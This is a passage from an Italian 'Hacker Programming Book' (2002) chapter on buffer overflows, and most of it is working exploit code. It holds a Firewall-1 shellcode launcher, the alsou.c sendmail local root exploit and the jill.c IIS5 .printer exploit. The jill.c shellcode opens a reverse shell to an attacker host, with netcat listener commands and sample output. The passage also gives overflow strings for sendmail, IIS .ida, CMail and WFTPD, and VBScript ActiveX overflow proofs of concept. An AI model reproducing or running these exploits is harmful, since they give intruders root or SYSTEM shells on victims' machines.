         "\x99\x10\x1C\xF8\xBF\xD9\x99\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE"
         "\xC9\x14\x2C\xC8\xBF\xD9\x99\x34\xC9\x14\x2C\x74\xBC\xD9\x99\x34"
         "\xC9\x66\x0C\xD2\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\xF3"
         "\x99\x12\x1C\xF8\xBF\xD9\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\x12"
         "\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C"
         "\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x70\x20\x67\x66"
         "\x66\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x8B\xBC\xD9\x99\x14"
         "\x2C\xC4\xBF\xD9\x99\x34\xC9\x66\x0C\x8B\xBC\xD9\x99\xF3\x99\x66"
         "\x0C\xCE\xBC\xD9\x99\xC8\xCF\xF1\xED\xDC\x16\x99\x09\xC3\x66\x8B"
         "\xC9\xC2\xC0\xCE\xC7\xC8\xCF\xCA\xF1\xE1\xDC\x16\x99\x09\xC3\x66"
         "\x8B\xC9\x35\x1D\x59\xEC\x62\xC1\x32\xC0\x7B\x70\x5A\xCE\xCA\xD6"
         "\xDA\xD2\xAA\xAB\x99\xEA\xF6\xFA\xF2\xFC\xED\x99\xFB\xF0\xF7\xFD"
         "\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99\xEA"
         "\xFC\xF7\xFD\x99\xEB\xFC\xFA\xEF\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6"
         "\xFA\xF2\xFC\xED\x99\xD2\xDC\xCB\xD7\xDC\xD5\xAA\xAB\x99\xDA\xEB"
         "\xFC\xF8\xED\xFC\xC9\xF0\xE9\xFC\x99\xDE\xFC\xED\xCA\xED\xF8\xEB"
         "\xED\xEC\xE9\xD0\xF7\xFE\xF6\xD8\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9"
         "\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xC9\xFC\xFC\xF2\xD7\xF8\xF4\xFC"
         "\xFD\xC9\xF0\xE9\xFC\x99\xDE\xF5\xF6\xFB\xF8\xF5\xD8\xF5\xF5\xF6"
         "\xFA\x99\xCB\xFC\xF8\xFD\xDF\xF0\xF5\xFC\x99\xCE\xEB\xF0\xED\xFC"
         "\xDF\xF0\xF5\xFC\x99\xCA\xF5\xFC\xFC\xE9\x99\xDA\xF5\xF6\xEA\xFC"
         "\xD1\xF8\xF7\xFD\xF5\xFC\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC"
         "\xEA\xEA\x99\xDA\xF6\xFD\xFC\xFD\xB9\xFB\xE0\xB9\xE5\xC3\xF8\xF7"
         "\xB9\xA5\xF0\xE3\xF8\xF7\xD9\xFD\xFC\xFC\xE9\xE3\xF6\xF7\xFC\xB7"
         "\xF6\xEB\xFE\xA7\x9B\x99\x86\xD1\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99"
         "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\xDA\xD4\xDD\xB7\xDC\xC1\xDC\x99\x99\x99\x99\x99"
         "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
         "\x99\x99\x99\x99\x90\x90\x90\x90\x90\x00";

FILE *fp;
unsigned short int       a_port;

printf ("\nFirewall-1 buffer overflow launcher\nby Indigo
<indigo@exploitingstuff.com> 2001\n\n");
printf ("To perform this exploit you must attack from a valid GUI client
machine\n");
printf ("i.e. your IP address must be contained in the
$FWDIR/conf/gui-clients file\n");
printf ("This program will create a binary file called exploit.bin\n");
printf ("First open the Firewall-1 GUI log viewer program then enter\nthe
victim IP address in the Management Server field\n");
printf ("and a few random characters in the password field,\n");
printf ("open badboy.bin in notepad, highlight it all then copy it to the
clipboard.\n");
printf ("Paste it into the User Name field of the GUI log viewer then click
OK.\n\n");
printf ("Launch netcat: nc <victim host> <victim port>\n");
printf ("\nThe exploit spawns a SYSTEM shell on the chosen port\n\n");

if (argc != 2)
{
        printf ("Usage: %s <victim port>\n", argv[0]);
        exit (0);
}

a_port = htons(atoi(argv[1]));
a_port^= 0x9999;

shellcode[1567]= (a_port) & 0xff;
shellcode[1568]= (a_port >> 8) & 0xff;




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

fp = fopen ("./exploit.bin","wb");

fputs (shellcode,fp);

fclose (fp);

return 0;

}



Sendmail e buffer overflow
Una delle domande che potrebbero sorgere relativamente ai buffers overflow è dove questi
possono trovare un applicazione.
Chiaramente la risposta è ovunque un programma esegue un input dall’esterno.
Una cosa che dobbiamo sempre ricordarci è che anche servizi offerti dea servers vari
possono essere utilizzati anche da programmi non esplicitamente destinati alla loro gestione.
Cosa significa questo ?
Prendiamo le funzioni offerte da un mail server come Sendmail.
Chiaramente si pensa che l’interazione con un software come questo debba di fatto essere
eseguito da un client come ad esempio Outlook o TheBat!.
Sbagliato.
L’hacker in genere relaziona con questi mediante la falsificazione eseguita con NETCAT o
con TELNET.
Riportiamo sempre come esempio quello di Sendmail.
Questo possiede un buffer di 128 bytes utilizzato dal comando VRFY di questo nel quale
dovrebbe essere inserito uno username.
Se volessimo cercare di mandare in tilt sendmail potremmo inserire dentro a questo buffer
una stringa di 2000 caratteri, ad esempio.
Ricordiamoci che i comandi come NETCAT possono essere usati in congiunzione con altri
mediante l’operatore pipe ( | ).
L’esempio di prima potrebbe essere eseguito tramite :

echo “vrfy ‘perl –e print “a” x 1000’’” |nc www.target.com 25

Mediante il perl eseguiamo la stampa di 1000 caratteri a all’interno del buffer usato da vrfy sul
sistema specificato come argomento di netcat sulla porta 25.

Un sorgente legato all’exploit di SENDMAIL mediante buffer overflow è quelo che segue :

/*
 *   alsou.c
 *
 *   sendmail-8.11.x linux x86 exploit
 *
 *   To use this exploit you should know two numbers: VECT and GOT.
 *   Use gdb to find the first:
 *
 *   $ gdb -q /usr/sbin/sendmail
 *   (gdb) break tTflag
 *   Breakpoint 1 at 0x8080629
 *   (gdb) r -d1-1.1
 *   Starting program: /usr/sbin/sendmail -d1-1.1
 *
 *   Breakpoint 1, 0x8080629 in tTflag ()
 *   (gdb) disassemble tTflag
 *   .............
 *   0x80806ea <tTflag+202>: dec    %edi
 *   0x80806eb <tTflag+203>: mov    %edi,0xfffffff8(%ebp)
 *   0x80806ee <tTflag+206>: jmp    0x80806f9 <tTflag+217>
 *   0x80806f0 <tTflag+208>: mov    0x80b21f4,%eax



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

 *                                ^^^^^^^^^^^^^^^^^^ address of VECT
 * 0x80806f5 <tTflag+213>: mov     %bl,(%esi,%eax,1)
 * 0x80806f8 <tTflag+216>: inc     %esi
 * 0x80806f9 <tTflag+217>: cmp     0xfffffff8(%ebp),%esi
 * 0x80806fc <tTflag+220>: jle     0x80806f0 <tTflag+208>
 * .............
 * (gdb) x/x 0x80b21f4
 * 0x80b21f4 <tTvect>:      0x080b9ae0
 *                        ^^^^^^^^^^^^^ VECT
 *
 * Use objdump to find the second:
 * $ objdump -R /usr/sbin/sendmail |grep setuid
 * 0809e07c R_386_JUMP_SLOT    setuid
 * ^^^^^^^^^ GOT
 *
 * Probably you should play with OFFSET to make exploit work.
 *
 * Constant values, written in this code found for sendmail-8.11.4
 * on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT =
0x080b9ae0 and
 * GOT = 0x0809e07c.
 *
 * To get r00t type ./alsou and then press Ctrl+C.
 *
 *
 * grange <grange@rt.mipt.ru>
 *
 */

#include <sys/types.h>
#include <stdlib.h>

#define OFFSET 1000
#define VECT 0x080baf20
#define GOT 0x0809f544

#define NOPNUM 1024

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
        "\xc0\x88\x43\x07\x89\x5b\x08\x89"
        "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
        "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
        "/bin/sh";

unsigned int get_esp()
{
        __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
        char *egg, s[256], tmp[256], *av[3], *ev[2];
        unsigned int got = GOT, vect = VECT, ret, first, last, i;

         egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
         if (egg == NULL) {
                 perror("malloc()");
                 exit(-1);
         }



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

          sprintf(egg, "EGG=");
          memset(egg + 4, 0x90, NOPNUM);
          sprintf(egg + 4 + NOPNUM, "%s", shellcode);

          ret = get_esp() + OFFSET;

          sprintf(s, "-d");
          first = -vect - (0xffffffff - got + 1);
          last = first;
          while (ret) {
                  i = ret & 0xff;
                  sprintf(tmp, "%u-%u.%u-", first, last, i);
                  strcat(s, tmp);
                  last = ++first;
                  ret = ret >> 8;
          }
          s[strlen(s) - 1] = '\0';

          av[0] = "/usr/sbin/sendmail";
          av[1] = s;
          av[2] = NULL;
          ev[0] = egg;
          ev[1] = NULL;
          execve(*av, av, ev);
}



Esempi pratici di buffers overflow
Il buffer overflow può essere ovunque e precisamente in qualsiasi punto dove una
programma accetta direttamente o indirettamente dell’input.
Ad esempio era stato scoperto un buffer overflow all’interno del campo della data della testata
dei messaggi accettati da qualche mail server.
Se ad esempio ci fossimo collegati al solito mailserver con TELNET o con NETCAT e
avessimo digitato nel punto dove avrebbe dovuto essere inserita la data un buffer di 100
caratteri con alla fine il codice che avrebbe dovuto essere eseguito, questo avrebbe compiuto
il suo compito ovvero quello di creare uno sconfinamento del buffer con esecuzione
perniciosa del codice.
Ma vediamo qualche esempio di buffer overflow particolare.
Uno di quelli a pericolosità altissima per il WEB Server IIS è quello definito con il termine di
IPP Buffer Overflow.
Questo avviene quando il buffer assume come dimensioni circa 420 bytes.
Questo tipo di problema derivava da un filtro ISAPI che permetteva la gestione dei files
.printer.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


La DLL che aveva il problema era

x:\winnt\system32\msw3prt.dll

Se aprivamo con telnet o con netcat una comunicazione con il server WEB mediante :

telnet host 80

e digitavamo :

GET /NULL.printer http/1.0
Host: [buffer di 420 bytes]

Allora causavamo un buffer overflow che obbligava inetinfo.exe a ripartire dopo un crash.
L’exploit relativo a questo bug è il seguente.


/* IIS 5 remote .printer overflow. "jill.c" (don't ask).
*
* by: dark spyrit <dspyrit@beavuh.org>
*
* respect to eeye for finding this one - nice work.
* shouts to halvar, neofight and the beavuh bitchez.
*
* this exploit overwrites an exception frame to control eip and get to
* our code.. the code then locates the pointer to our larger buffer and
* execs.
*
* usage: jill <victim host> <victim port> <attacker host> <attacker port>
*
* the shellcode spawns a reverse cmd shell.. so you need to set up a
* netcat listener on the host you control.
*
* Ex: nc -l -p <attacker port> -vv
*
* I haven't slept in years.
*/

#include   <sys/types.h>
#include   <sys/time.h>
#include   <sys/socket.h>
#include   <netinet/in.h>
#include   <arpa/inet.h>
#include   <unistd.h>
#include   <errno.h>
#include   <stdlib.h>
#include   <stdio.h>
#include   <string.h>
#include   <fcntl.h>
#include   <netdb.h>

int main(int argc, char *argv[]){

  /* the whole request rolled into one, pretty huh? carez. */

  unsigned char sploit[]=
    "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20"
    "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
    "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
    "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
    "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
    "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
    "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
    "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
    "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
    "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
    "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
    "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
    "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

   "\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
   "\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
   "\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
   "\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
   "\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
   "\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
   "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
   "\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
   "\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
   "\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3"
   "\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
   "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
   "\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
   "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
   "\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
   "\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
   "\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
   "\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
   "\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
   "\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
   "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
   "\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
   "\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
   "\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
   "\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
   "\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
   "\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
   "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
   "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
   "\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
   "\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
   "\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
   "\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a";

 int s;
 unsigned short int a_port;
 unsigned long a_host;
 struct hostent *ht;
 struct sockaddr_in sin;

 printf("iis5 remote .printer overflow.\n"
   "dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n");

  if (argc != 5){
                printf("usage:   %s     <victimHost>   <victimPort>    <attackerHost>
<attackerPort>\n",argv[0]);
    exit(1);
  }

 if ((ht = gethostbyname(argv[1])) == 0){
   herror(argv[1]);
   exit(1);
 }

 sin.sin_port = htons(atoi(argv[2]));
 a_port = htons(atoi(argv[4]));
 a_port^=0x9595;

 sin.sin_family = AF_INET;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

  sin.sin_addr = *((struct in_addr *)ht->h_addr);

  if ((ht = gethostbyname(argv[3])) == 0){
    herror(argv[3]);
    exit(1);
  }

  a_host = *((unsigned long *)ht->h_addr);
  a_host^=0x95959595;

  sploit[441]= (a_port) & 0xff;
  sploit[442]= (a_port >> 8) & 0xff;

  sploit[446]=   (a_host) &   0xff;
  sploit[447]=   (a_host >>   8) & 0xff;
  sploit[448]=   (a_host >>   16) & 0xff;
  sploit[449]=   (a_host >>   24) & 0xff;

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    perror("socket");
    exit(1);
  }

  printf("\nconnecting... \n");

  if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
    perror("connect");
    exit(1);
  }

  write(s, sploit, strlen(sploit));
  sleep (1);
  close (s);

   printf("sent... \nyou may need to send a carriage on your listener if the shell
doesn't appear.\nhave fun!\n");
  exit(0);
}


Dopo aver compilato con Cgwin l’exploit utilizziamo netcat per eseguire il listening sul sistema
attaccante.

C:\> nc –vv –l –p 2002

Ora lanciamo JILL usando la stessa porta settata su netcat.

C:\> jill 192.168.255.123 80 192.168.200.22 2002
Iis5 remote .printer overflow.
Dark spyrit dspyrit@beavuh.org / beavuh labs.

Connecting….
Sent….
You may need to sende a carriage on your listener if the shell
doesn’t appear.
Have fun!

Se tutto va come sperato dopo qualche istante apparirà un shell remota.
Precedentemente, nel capitolo relativo ai WEB Server, avevamo visto il BUG legato ai file
IDQ e IDA.
In pratica questo bugs permetteva specificando da browser il nome di un file con queste
estensioni non esistente di avere come risposta il percorso di sistema di dove si trovava la
radice del web.
Legate alle DLL di gestione di questi files esiste un altro problema legato ai buffer overflow.
Questo problema è quello che il WORM CODE RED ha utilizzato per eseguire l’exploit.
Il buffer overflow è simile a quello appena visto nelle pagine precedenti.
Sempre nello stesso modo, con telnet o netcat, è possibile aprire una connessione con il
WEB Server della vittima utilizzante IIS.
Quindi :



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


C:\> telnet 192.168.255.12 80

A connessione avvenuta si deve digitare :

GET /null.ida?[buffer di 240 bytes]=X HTTP/1.1
Host: [valore arbitrario]

Buffer è un array di almeno 240 bytes il quale viene passato alla DLL di gestione idq.dll o
ida.dll.
Un altro caso di sicurezza legato ai buffer overflow è stato segnalato per quello che riguarda
un usatissimo mail server e precisamente CMail SMTP Server.
Il mail server sopra citato consente un attacco di tipo buffer overflow da remoto.
Il meccanismo è quello consueto: l'invio di una stringa di grandi dimensioni come argomento
di un comando SMTP; in particolare, l'invio di una stringa di circa 7090 caratteri come
username del mittente di posta, come qui sotto riportato.

 $ telnet example.com 25
 Trying example.com...
 Connected to example.com.
 Escape character is '^]'.
 220 SMTP services ready. Computalynx CMail Server Version: 2.4
 helo nome
 250 Hello nome [indirizzo IP del mittente], how are you today?
 MAIL FROM: cmail <[buffer]@cmaildotcom.com>

dove in [buffer] si sostituisca la stringa di grandi dimensioni.

Il problema era presente già nella versione 2.3 del server, ma non è stato risolto.
A questo punto vediamo un buffer overflow legato ad un altrettanto usato FTP Server e
precisamente WFTPD.
Il server FTP WFTPD, nelle versioni 2.34 e 2.40 (nonché nelle versioni precedenti), può
essere attaccato con successo da remoto, con un attacco di tipo buffer overflow, inviando sue
stringhe di grandi dimensioni in argomento a comandi MKD e CWD, come di seguito indicato.

Primo comando:
 MKD
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Secondo comando:
 CWD
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Il problema affligge il server sia sotto Win 9x che sotto Windows NT.
Uno degli ultimissimi casi venuti fuori è relativo a SQL Server sia per quanto riguarda la
versione 7.0 che la versione 2000.
SQL Server permette la connessione da remoto alla sorgente dati.
Una delle possibilità di questa potenzialità è quella di permettere la creazione di connessioni
“ad hoc” verso una sorgente di dati remota senza dover settare un server collegato.
Questo è possibile grazie a OLE DB provider il quale è appunto un data source provider di
alto livello.
La potenzialità è disponibile invocando direttamente il provider OLE DB attraverso il nome
usato per connettersi a una sorgente di dati remota.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

In questo meccanismo esiste un buffer non controllato il quale potrebbe causare un errore
nell’esecuzione del servizio SQL Server.
Questo sistema di database può essere configurato per funzionare in contesti di sicurezza
differenti e di fatto il risultato di un buffer overflow dipende da questo.
Un eventuale attaccante può sfruttare eseguire un exploits di questa vulnerabilità seguendo
due vie.
Esso può cercare di leggere ed eseguire una query del database che richiama una delle
funzioni affette.
Al contrario se il sito WEB o qualsiasi altro front end al database fosse configurato per
accedere o processare query arbitrarie sarebbe possibile per un attaccante causare che la
query chiami una delle funzioni in questione con i parametri errati.


Buffer overflow in applicazioni Windows
Alcune applicazioni, anche molto diffuse, consentono a un attaccante la realizzazione di
attacchi di tipo buffer overflow in maniera relativamente semplice. L'attacco è possibile
sfruttando metodi ben noti e facilmente manipolabili per la sovrascrittura dell'indirizzo di
ritorno da una chiamata a procedura nello stack.
Come già segnalato, il problema di base risiede nell'insieme di architetture
ActiveX/OLE/COM/DCOM: in nessuna di essevengono normalmente effettuati controlli sulla
dimensione dei buffer di dati in transito durante una chiamata a metodo, il che consente,
volontariamente o meno, la sovrascrittura dell'indirizzo di ritorno.
Segue l'elenco delle applicazioni segnalate.

1.   Acrobat Control for ActiveX (file PDF.OCX), versione 1.3.188
2.   Setupctl 1.0 Type Library (file SETUPCTL.DLL), versione 1.1.0.6
3.   Eyedog OLE Control Module (file EYEDOG.OCX), versione 1.1.1.75
4.   MSN ActiveX Setup BBS Control (file SETUPBBS.OCX), versione 4.71.0.10
5.   hhopen OLE Control Module (file HHOPEN.OCX), versione 1.0.0.1
6.   RegWizCtrl 1.0 Type Library (file REGWIZC.DLL), versione 3.0.0.0


Sono stati presentati da Shane Hird degli esempi di codice per effettuare gli attacchi: per tutti
gli esempi presentati, l'autore ha indicato a titolo di esempio il salto all'invocazione di
ExitProcess, ma naturalmente il codice da eseguire può essere arbitrariamente scelto
dall'attaccante.

EyeDog

<object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA" id="eye"></object>
<script language="vbscript">
<!--
msgbox("EYEDOG OLE Control module Buffer Overrun (Local Version)" + Chr(10) + "Written
by Shane Hird")

' Padding per l'attacco
expstr =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA"

' indirizzo per la RET: ExitProcess, BFF8D4CA
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

' Chiamata al metodo attaccato, MSInfoLoadFile
eye.MSInfoLoadFile(expstr)




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

--></script>

HHopen

<object classid="clsid:130D7743-5F5A-11D1-B676-00A0C9697233"
id="hhopen"></OBJECT>
<script language="vbscript"><!--msgbox("hhopen OLE Control Module Buffer Overrun" +
